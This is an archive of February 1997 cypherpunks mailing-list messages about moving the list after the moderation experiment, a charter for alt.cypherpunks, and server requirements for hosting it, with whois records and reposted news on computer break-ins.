> (We did not, unfortunately, get to the "future of the list" topic at the
> physical meeting...the excellent presentations ran way over the expected
> time and we never got to this topic. Sort of too bad, given John's edict
> that we have 10 days to find and implement an alternative....)

I was wondering how this part of the discussion would go, oh well.

> At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
> Suggestions for additional language or changes are welcome.
> 
> Charter for alt.cypherpunks: (suggested)
> 
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> cryptography. The Cypherpunks grpup has existed since 1992 and has been
> central in the debate about strong crypto, government restrictions, crypto
> anarchy, and in showing weaknesses of various ciphers and security
> products. The mailing list has had as many as 1500 subscribers, plus
> gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
> will be a free-wheeling forum for many viewpoints. As it is unmoderated,
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."

Sounds good enough to me.

> I invite your comments, editorial suggestions, etc. Perhaps when enough of
> the "collective mind" has made inputs (ughh!), the charter can be submitted
> with the creation message. (I'm not knowledgeable about the process, but
> I'll bet many of you are.)

I get the impression that Greg Broiles is, and he posted a message
proposing the creation of alt.cypherpunks a few hours before yours.
Perhaps you had not seen it.  Anyway he didn't propose a charter.


As Sten Drescher <stend@sten.tivoli.com> and Jim Choate
<ravage@einstein.ssz.com> just announced their work on a distributed
list based on multiple majordomo hosts, the question remains as to
which of:

1. separate alt.cypherpunks and cypherpunks list 

2. alt.cypherpunks and cypherpunks list gated both ways

3. cypherpunks list only

are most useful.

Either option 1 or option 2 sound good to me.  If the gating takes
place at a site with a good news feed, this would provide a mechanism
to allow people to access the list either way they chose.  (An
implementation of the news-mail / mail-news you proposed).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 17:23:06 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702112310.PAA28883@toad.com>
Message-ID: <199702120118.TAA20580@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


John Gilmore wrote:
> A pentium is definitely up to this task.  I've been running it the
> whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
> general computing).  Give it a big /var/spool partition (mine is 60MB)
> because every message will sit in the queue for days (*somebody* on
> the list will have an unreachable name server or MX server until the
> msg times out).  Give it lots of RAM and paging space, since each
> sendmail process takes about 2MB virtual, 1.4MB physical, and you will
> have dozens running at the same time.
> 
> The new version of majordomo (that allows confirmation of
> subscriptions) will help a lot.  It needs a small patch though, to do
> exponential backoff on the lock file, or when you get a flood of
> messages, thirty majordomo processes will burn up the whole machine
> trying and failing to get the lock file.
> 
> You'll need a BIG mailbox for the bounce messages, and someone (or
> some unwritten software) to scan it every day or two and delete the
> lusers whose mailboxes are full or who dumped their account without
> unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
> email a day; more when the list is under attack.
> 
> You'll want to run the latest version of BIND on the machine, too,
> since doing DNS name-lookups on a thousand email addresses is expensive.
> You want them all in the in-memory cache on the same machine.  The
> name daemon burns about 7MB virtual, 5MB real RAM once its cache
> gets loaded.
> 
> Make sure that every message sent to the list gets into at least
> two logfiles -- on separate partitions, in case one fills up.  At
> least if you want to have an archive of what's been sent.
> 
> >      I can provide a pentium box running Linux with a T1 connection to
> > MAE-West to host the list, if there is still interest.
> 
> Make sure you are getting "transit" service to the Internet, instead
> of trying to cheap out with "peering" to a few major networks.
> Without transit service ("we'll carry your packets to anywhere even if
> the destination is not on our network") you won't be able to route
> packets to some places on the net.  This will cause mail to those
> subscribers to sit in the queue for days and then bounce.
> 
> The real issue is how willing you are to put your own time into
> dealing with problems.  Not only do things go wrong by themselves, but
> there are malicious assholes in the world who will deliberately make
> trouble for you just because they like to.  Spending a day or two
> cleaning up the mess is just part of the job.  Check your level of
> committment two or three times before taking on the task -- so you
> won't end up getting disgusted after a month or two and putting the
> list's existence into crisis again.  It's not a "set it up and forget
> it" kind of operation.

Listen to it, John is absolutely right. Running a big mailing list is
an incredible commitment and it is important to realize what you are 
getting into.

Another suggestion may be to set sendmail expire option to one day
instead of five so that messages that cannot be delivered would bounce
faster and not clog the queue.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 17 Feb 1997 10:03:07 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment and moderator liability
In-Reply-To: <3307FF7D.7B59@gte.net>
Message-ID: <199702111922.TAA00444@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dale Thorn <dthorn@gte.net> writes:
> Adam Back wrote:
> > [summary of events]
> 
> I believe your summary is very accurate except:
> 
> I would add after the paragraph about Dimitri posting the warning
> about C2, that C2's lawyers sent an immediate threatening letter
> to Dimitri.

Agree, that should be added:

15a. Dimitri received a legal notice from C2Net's lawyers about
Dimitri's allegations

> I would change the paragraph about Tim May receiving a warning from
> C2's lawyers to say that Tim May received a warning second-hand that
> anything Tim would say to support or reiterate Dimitri's claims
> would be actionable by C2 as well.

Let's see I wrote:

> 21. Tim received a warning from C2Net's lawyers that if he did not
> desist from mentioning that Dimitri had posted an article criticising
> a C2Net product that he would be sued!

Tim explained the situation in fair detail in his recent post,
explaining, after Sandy's "Absolutely false." retort to my above
claim.  Perhaps my wording could be more accurately changed in the
light of the further explanation from Tim to:

21. Tim was told by a C2Net employee that if he did not desist from
discussing Dimitri's claims about C2Net's StrongHold product, C2Net
would take legal action against him!

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Tue, 11 Feb 1997 06:26:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: sandy who??
Message-ID: <33013873.4214@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,

i am a new addition on the mailing list. i am amazed to find that half
the mails talk about "sandy (god knows who he is) and he censoring
mails" rather than crypto stuff.

somebody please let me know who sandy is and what exactly is this
censoring issue.

anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 17:32:23 -0800 (PST)
To: pjm@spe.com (Patrick May)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702112210.OAA01556@gulch.spe.com>
Message-ID: <199702120127.TAA20733@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Patrick May wrote:
>      Before doing this, I'd need the answers to a few questions:
> 
>      - Is there still any interest in a cypherpunks mailing list?

yes
 
>      - Is alt.cypherpunks a better alternative?

it is not an alternative, it is a complement. 

i think that alt.cypherpunks will be a failure because all of
the troubles of alt.* hierarchy.

>      - Majordomo can be configured to require confirmation of
>        subscription requests, thus avoiding some attacks.  Is there
>        any simple way to protect against mailloops?  Directly
>        accessing the listname-outgoing alias?

Add X-Loop: header and use procmail to protect against messages
FROM_DAEMON and FROM_MAILER.

>      - Is a pentium up to the task of running a list of this size and
>        volume?

yes, it is the other stuff that's the problem -- memory, connection
speed, etc.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 17:26:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up" (fwd)
Message-ID: <199702120132.TAA08646@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 08:30:54 -0800
> From: Alan Olsen <alan@ctrl-alt-del.com>

> >offered nothing in the past but criticism, it's now time to get a
> >bit more real.  What will it be, your money, time, equipment?
> 
> What kind of memory requirements/machine load does the list eat up?  I have a
> machine that may fit this purpose...  (Need to know if I need to upgrade the
> box though.)

A minimum standard for a useable remailer (YMMV):

   486DX(blah)
   16M
   1G IDE
   Mitsumi CD Rom (very widely supported)
   VGA 1M
   NE2000 x 2 (Internet & Intranet)
   High-speed serial ports x 3 (Mouse, Modems x 2) [optional]
   ISDN Bridge (incl. NT-1, no POTS)
   ISDN Line (contact business office)
   Internet Provider (commercial service, nameservice, news, etc.)
   10BaseT Bridge [optional, depends on Bridge]
   Registration of domain name [optional, suggested]
   Linux (WinNT if clueless)

For a full-time commercial feed in Austin, Tx. your talking about:

Startup:

$600 Machine
$100 VGA Monitor
$100 Computer accessories
$400 28.8 Modems ($200 x2)
$150 ISDN install
$1k  ISDN Bridge
$500 ISP setup & init (this is commercial, not hobby)
$100 Initial name registry
$300 UPS

$3,250


Monthlies:

$50  Phones ($25 x2)
$25  Utilities
$75  ISDN
$400 ISP connection

$550

Note:

  *    This machine can't be your personal workstation. It will be
       entirely too busy.

  *    Learn shell, c, Pearl to start.

  *    O'Reilly makes very useful books.

  *    Such a machine will handle from between 100 to 500 accounts
       depending on how you set up your system.

  *    If you have the money, put it in the bandwidth first.

  *    I would very strongly suggest against using your employers
       resources for such activities.

  *    You will want at least one dedicated dial-in, no matter what.
       This is a good place for distinctive ring and a line splitter.
       Consider this when buying the modem, it will raise the price
       of the modem. Also consider the personal 800 numbers that are
       available.

  *    Consider strongly the use of an encrypted file system. While
       they make automated re-boots impossible their security can be
       quite appealing. (This is an issue that somebody who is already
       designing encrypted file systems should look into, how to allow
       automated reboots w/o manual entry of the key(s).)

  *    Anonymous remailer extensions would not be a major resource hog.

  *    If you are going to consider allowing general access by your users
       via dial-in use 10 - 15 users per line per day, assuming no
       enforced quota.

Hope this helps anyone who might be interested in starting up such a beast.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com



When I was a kid, I lived in Pasadena, Tx. just down the street from the
Washburn Tunnel. There was a big sign going from Pasadena to the Houston
side that said "The grass is greener in Pasadena". This sentiment is the
true liberator of the human spirit. Keeping up with the Joneses is burned
into our genes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 16:51:13 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: STE_pup
Message-ID: <1.5.4.32.19970212004512.006c08b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:

>Fingerprint readers tend to work regardless if the finger is attached to a
>body or not. All that fingerprint readers will do is increase the damage to
>those relying on ever increasing, but misguided, methods of authentication.
>See the rise in "identity theft" since SSN's began to be used for
>identification.

Oracle claims they've solved the lopped or faked pinkie problem by verifying 
other biometry. One device IDs BO. None invade privacy the snakes hiss.

What next, BS detectors? Nah, that'd kill commerce and law and government
and true love and blind faith in supreme-gold-fool.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 16:53:07 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <Pine.3.89.9702111425.A20441-0100000@netcom3>
Message-ID: <0n0FEn200YUg0KanA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

das@razor.engr.sgi.com (Anil Das) writes:
> On Feb 11,  2:42pm, Alan Bostick wrote:
> > new alt.* newsgroups are better
> > received if they don't have top-level names.  Using existing top-level
> > hierarchies is better (e.g. alt.security.cypherpunks or
> > alt.privacy.cypherpunks).
> 
> I agree that alt.privacy.cypherpunks is the best bet, if alt.group
> is the route we go.

This has a number of frige benifits, too. It's lower down in the
alphabetical list, so luser AOL-type people and auto-spam bots are
less likely to reach alt.p* or alt.s* than alt.c*. Also, it seperates
it from alt.cyberpunk and associated groups, thus maybe minimizing
innappropriate x-posts.

The hybrid mailing list/newsgroup system seems to me to be an
excellent setup. It is resilliant to the moderation woes that a
mailing list is vulernable to, and is also resistant to ISPs who don't
carry alt groups. It also provides a set of mail-news gateways for
people who wish to post anonymously to the newsgroup, whaile at the
same time being resistant to commercial spam abuse (why use a
mail-news to spam if it just goes to 1 newsgroup?).

Finally, a newsgroup makes it easy to spread the gospel to the
unwashed masses. Tim May's rants/essays would probably make excellent
usenet memes, and having more usenet people crypto-aware can only help
advance the causes of liberty and privacy. I hereby volunteer to do my
best to handle all the newbie questions.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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ZDdkLhnnJ+3IFD1RWzo7gahEXDrJtFQ3QfWhcjC/0V9EMYWBr/ITa2esNXPiuCWW
KyWYblVSCeYGdrzd0MK8MJXIjX5hWZ/A
=emtl
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 17:57:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702120203.UAA08930@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

What is the current future of the Cypherpunks webpage? Will it continue to
be kept up or is it going down as well?


                                                        Jim Choate
                                                        CyberTects
                                                        ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 17:14:40 -0800 (PST)
To: das@razor.engr.sgi.com (Anil Das)
Subject: Re: whois cypherpunks.org ?
Message-ID: <1.5.4.32.19970212010456.006a2430@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks (REMAILER-DOM)
   1819 Woolsey St.
   Berkeley, CA 94703
   Domain Name: REMAILER.NET
   Administrative Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Billing Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Record last updated on 17-Oct-96.
   Record created on 09-Nov-94.
   Domain servers in listed order:
   FLYING.FISH.COM              140.174.97.13
   NS1.SAC.NET                  208.146.161.2

----------

CypherPunks (CYPHERPUNKS-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   Domain Name: CYPHERPUNKS.COM
   Administrative Contact, Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Record last updated on 14-Sep-95.
   Record created on 14-Sep-95.
   Domain servers in listed order:
   NS1.CYBERWORKS.NET           206.170.116.21
   NS2.PARANOIA.COM             207.239.130.25
   WKP.COM                      205.199.64.11

----------

CypherPunks Group (CYPHERPUNKS3-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   Domain Name: CYPHERPUNKS.ORG
   Administrative Contact, Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Record last updated on 03-Oct-95.
   Record created on 03-Oct-95.
   Domain servers in listed order:
   NS1.CYBERWORKS.NET           206.170.116.21
   NS2.PARANOIA.COM             207.239.130.25
   WKP.COM                      205.199.64.11

----------

Cypherpunks (ANONYMOUS-DOM)
   PO Box 170608
   San Francisco, CA 94117-0608
   Domain Name: ANONYMOUS.NET
   Administrative Contact, Technical Contact, Zone Contact:
      Gilmore, John  (JG150)  gnu@TOAD.COM
      +1 415 221 6524 (FAX) +1 415 221 7251
   Record last updated on 24-Jun-93.
   Record created on 24-Jun-93.
   Domain servers in listed order:
   CYGNUS.COM                   205.180.230.20
   RTL.CYGNUS.COM               205.180.230.21

----------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moroni <moroni@scranton.com>
Date: Tue, 11 Feb 1997 17:32:48 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: NSA Rainbow Series.
In-Reply-To: <199701302228.OAA19264@toad.com>
Message-ID: <Pine.LNX.3.93.970211202635.7940B-100000@user1.scranton.com>
MIME-Version: 1.0
Content-Type: text/plain


       1-800-688-6115 press 0 or just wait for the operator. My second
order consisting of posters and video has not arrived either. It has been
about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
you order the Rainbow series you will be getting a large box.Their are
something like 30+ booklets in the series.
        There is a set of security posters  that include a Santa
poster.And there is also a video with two films on it (Acess Ins and outs
adb Acess Control).
                    Good luck on your mission Mr. Phelps,
                         moroni




On Thu, 30 Jan 1997, Genocide wrote:

> Date: Thu, 30 Jan 1997 12:42:08 -0800 (PST)
> From: Genocide <gen2600@aracnet.com>
> To: Cypherpunks Mailing List <cypherpunks@toad.com>
> Subject: NSA Rainbow Series.
> 
> 
> 	A while back someone posted the 1-800 number for the NSA to call
> in and get the Rainbow series delivered.... well, I called and put in an
> order and it never came, I need to call them again... I don't have the
> phone numbere number anymore...does anyone have it? Can someone
> email me the number again?
> 
> Genocide
> Head of the Genocide2600 Group
> 
> 
> ============================================================================
> 		   **Coming soon! www.Genocide2600.com!
>          ____________________
>   *---===|                  |===---*
>   *---===|     Genocide     |===---*     "You can be a king or a street
>   *---===|       2600       |===---*   sweeper, but everyone dances with the
>   *---===|__________________|===---*              Grim Reaper."
>                                        
> Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600
> 
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 	It is by caffeine alone that I set my mind in motion.
> 	It is by the Mountain Dew that the thoughts acquire speed,
> 	the lips acquire stains, the stains become a warning.
> 	It is by caffeine alone that I set my mind in motion.
> ================================================================================
> 
> 
> 
















       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
       x   No success can compensate for failure in the home.  x
       x                                                       x
       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 20:47:46 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: List!  No Way: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <3301491B.7621@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:
> >    two points you make:
> >    1.  the propogation is slow...
> >    2.  some sites do not carry alt. groups
> >    are enough to kill an active discussion list. of course, it does
> >    slow down excessive volume.

Good if all this is worked out in advance.  I'd like to add a couple
thoughts:

The freedom from temptation to interfere (censor, etc.) outweighs
the slowness.

The nature of the list (crypto) creates more paranoia than most
other lists, making the above even more important, with the
advantage being that there *should* be less noise than other forums
due to the technical nature of the discussion.

Thanks to the last couple of months, c-punks has now provided nearly
every example of what to look out for and plan for.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 19:03:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: http:--cnnfn.com-digitaljam-wires-9702-11-hackers_wg-
Message-ID: <199702120309.VAA09144@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Click here to download the shareware YOU want at ZDNet [INLINE]
   Digital Jam hackers graphic 
   Hackers victimize firms
   
   
   Experts tell House panel breaking into networks is too simple
   
   
   February 11, 1997: 6:17 p.m. ET
   
   
   [INLINE] 
   
   
   Hackers and Feds in Vegas - July 31, 1996
   
   
   Internet firms make hacking pay - April 12, 1996
   
   WASHINGTON (Reuter) -- Hackers are finding it easier to break into
   computer networks and steal money, partly because companies are
   reluctant to admit that they are vulnerable, security experts said
   Tuesday.
   [INLINE] "If I want to steal money a computer is a much better tool
   than a handgun," Daniel Geer, engineering director for Open Market,
   Inc., told a House of Representatives technology subcommittee hearing
   on computer security. "They start out stealing $1,000 a day and figure
   they can get away with $2,000 a day and then they get greedy and hit
   some figure which sets off alarm bells."
   [INLINE] A panel of experts assembled by the subcommittee said many
   companies refuse to report breaches in their security because they
   want to avoid negative publicity and embarrassment.
   [INLINE] "Most computer crimes are not reported," Eugene Spafford of
   Purdue University told the panel. He estimated losses run into
   "hundreds of millions of dollars" but said no one really knows since
   so much goes unreported.
   [INLINE] Daniel Farmer, a security consultant, said penetrating a
   computer system is relatively easy. "Just using simple tests, I could
   break into two-thirds of the systems I tried," he said, adding that he
   could easily raise that figure to three-quarters if he wanted.
   [INLINE] Farmer said that during his tests he even discovered a
   problem with the White House World Wide Web site and told the system
   manager about it. He said he never received a reply.
   [INLINE] "Defensive programs have been overtaken by offensive
   programs" developed by hackers, he said.
   [INLINE] Spafford said law enforcement has kept pace with advances
   made by hackers who are able essentially to take over entire networks
   and run them by remote control.
   [INLINE] In addition to banks and corporations, the experts said,
   government secrets can be stolen and used to threaten national
   security. They cited recent computer network tampering at the Justice
   Department and the CIA.
   [INLINE] A General Accounting Office study recently found that there
   were 250,000 "hits" aimed at the Defense Department's computer
   networks last year and 65 percent were successful. Link to top 
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright 1997 Reuters. All rights reserved. This material may not be
   published, broadcast, rewritten, or redistributed.
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Feb 1997 21:32:49 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Cypherpunks-related lists on toad.com
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <3.0.1.32.19970211212158.0067c7a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, John - thanks for supporting and putting up with us all these years.
How do you feel about continuing support for the cypherpunks-related
lists that are also on toad.com, coderpunks and cypherpunks-announce?

I'd guess that if we move the cypherpunks list to another machine,
rather than mutating it into alt.cypherpunks, the -announce list
should probably also move once the new list is working.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "jeannie@accucomm.net"@accucomm.net
Date: Tue, 11 Feb 1997 18:41:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remove
Message-ID: <199702120238.VAA25073@atl1.america.net>
MIME-Version: 1.0
Content-Type: text/plain


Please remove our e-mail address from your services we received three 
viruses from erractic re-mail.

Thank You
Allen Woffard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 21:55:49 -0800 (PST)
To: Evil se7en <se7en@dis.org>
Subject: Re: Germany Versus Scientology
In-Reply-To: <Pine.BSI.3.91.970211162658.4364B-100000@kizmiaz.dis.org>
Message-ID: <33015976.5514@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Evil se7en wrote:
> I have posted a rather lengthy story about Germany's war against the
> Scientologists. It was long enough to preclude mailing it directly to the
> lists, so I have put it on my web site. You may find it at:

The L.A. Times ran a very impressive two-page article on this last
week.  The text compared the current steps by the German govt. to
the steps taken against Jews by the Nazi govt.

I happen to believe that Scientologists are dangerous, for how
quickly they can ruin someone's mental state.  But the article
is interesting for the comparisons....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 11 Feb 1997 19:56:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702120357.VAA09228@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
> From: ichudov@algebra.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"

> John Gilmore wrote:
> > A pentium is definitely up to this task.  I've been running it the
> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
> > general computing).  Give it a big /var/spool partition (mine is 60MB)
> > because every message will sit in the queue for days (*somebody* on
> > the list will have an unreachable name server or MX server until the
> > msg times out).  Give it lots of RAM and paging space, since each
> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
> > have dozens running at the same time.

My approach to this problem has been to use a 1G drive and mount the entire
file system on it. Swap and MS-Dos each get their own partitions. This
allows the use of the entire drive as a buffer. I am in the process of
adding another 1G in approx. two weeks with the intent of moving /home off
the main drive. This not only gives the system more space but the users as
well. I set swap to 4x main ram. I use Linux and have it as one giant
partition even though suggested is blocks of 16M, works for me (YMMV). Would
be minor to monitor df and alarm when it gets to 200M or something.

I must admit however that I am looking at a faster mbrd. and a bigger hard
drive in the immediate future to make up for the extra load I expect. Had
not really planned on the remailer project however...

> > You'll need a BIG mailbox for the bounce messages, and someone (or
> > some unwritten software) to scan it every day or two and delete the
> > lusers whose mailboxes are full or who dumped their account without
> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
> > email a day; more when the list is under attack.

How about dumping the bounces to /dev/null? I shure don't care if some
bozo's (other than mine that is) mailbox goes away.

> > Make sure that every message sent to the list gets into at least
> > two logfiles -- on separate partitions, in case one fills up.  At
> > least if you want to have an archive of what's been sent.

I have no intention of acting as an archive. I personaly see that as a
'subscriber' issue. Potentialy even a business if the archive were suitably
databased. Of course with the distributed model any member is potentialy
capable of this.

> > >      I can provide a pentium box running Linux with a T1 connection to
> > > MAE-West to host the list, if there is still interest.

I would certainly be interested in your involvment with the Distributed
Remailer.

> > The real issue is how willing you are to put your own time into
> > dealing with problems.  Not only do things go wrong by themselves, but
> > there are malicious assholes in the world who will deliberately make
> > trouble for you just because they like to.  Spending a day or two
> > cleaning up the mess is just part of the job.  Check your level of
> > committment two or three times before taking on the task -- so you
> > won't end up getting disgusted after a month or two and putting the
> > list's existence into crisis again.  It's not a "set it up and forget
> > it" kind of operation.

I can verify this. If I was not already having to deal with these problem
as a current mailing list operator I certainly would not take on the
job. It is one of the reasons I STRONGLY suggest anyone serious about this
should use the resources to make money as well. Anyone capable of setting up
and operating such a remailer system is at least capable of basic skills.

> Another suggestion may be to set sendmail expire option to one day
> instead of five so that messages that cannot be delivered would bounce
> faster and not clog the queue.

I like this idea very much. Myself I would set it for like 4 hours or so and
if it couldn't be delivered then bye bye. Another motivation for selective
sites to operate as archives without themselves being remailers.

Another issue related to this is at what point to unsubscribe accounts. It
seems to me that if the address times out some number of times it should be
deleted.

Is anyone interested in acting as a mail-to-news gateway?



                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 11 Feb 1997 19:08:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Computer break-ins
Message-ID: <9702120308.AA02571@super.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain

-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

To: cypherpunks@toad.com
Date: Tue Feb 11 22:14:30 1997

      U.S. Experts: Computer Break-Ins Go Unreported    U.S. Experts: 
Computer Break-Ins Go Unreported February 11, 1997, 4:19 PM EST

 WASHINGTON (Reuter) - Security experts said on Tuesday hackers are 
finding it easier to break into computer networks and steal money, 
partly because companies are reluctant to admit that they are 
vulnerable.

 ``If I want to steal money a computer is a much better tool than a 
handgun,'' Daniel Geer, Director of Engineering for Open Market, Inc., 
told a House of Representatives technology subcommittee hearing on 
computer security.

 ``The only way they get caught is if they cross some threshold,'' he 
said. ``They start out stealing $1,000 a day and figure they can get 
away with $2,000 a day and then they get greedy and hit some figure 
which sets off alarm bells.''

 A panel of experts assembled by the subcommittee said many companies 
refuse to report breaches in their security because of they want to 
avoid negative publicity and embarassment.

 ``Most computer crimes are not reported,'' Eugene Spafford of Purdue 
University told the panel. He estimated losses run into ``hundreds of 
millions of dollars'' but said no one really knows since so much goes 
unreported.

 Daniel Farmer, a security consultant, said penetrating a computer 
system was relatively easy. ``Just using simple tests, I could break 
into two-thirds of the systems I tried,'' he said, adding that he could 
easily raise that figure to three-quarters if he wanted.

 Farmer said that during his tests he even discovered a problem with 
the White House World Wide Web site and told the system manager about 
it, but never received a reply.

 ``Defensive programs have been overtaken by offensive programs'' 
developed by hackers, he said.

 Spafford said law enforcement had not been able to keep up with 
advances made by hackers who are able essentially to take over entire 
networks and run them by remote control.

 In addition to banks and corporations, the experts said, government 
secrets can be stolen and threaten national security. They cited recent 
computer network tampering at the Justice Department and the CIA.

 A General Accounting Office study found that there were 250,000 
``hits'' aimed at the Defense Department's computer networks last year 
and 65 percent were successful.

 =A9 Reuters Ltd. All rights reserved. 


     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 22:55:39 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: List for discussing many majordomos
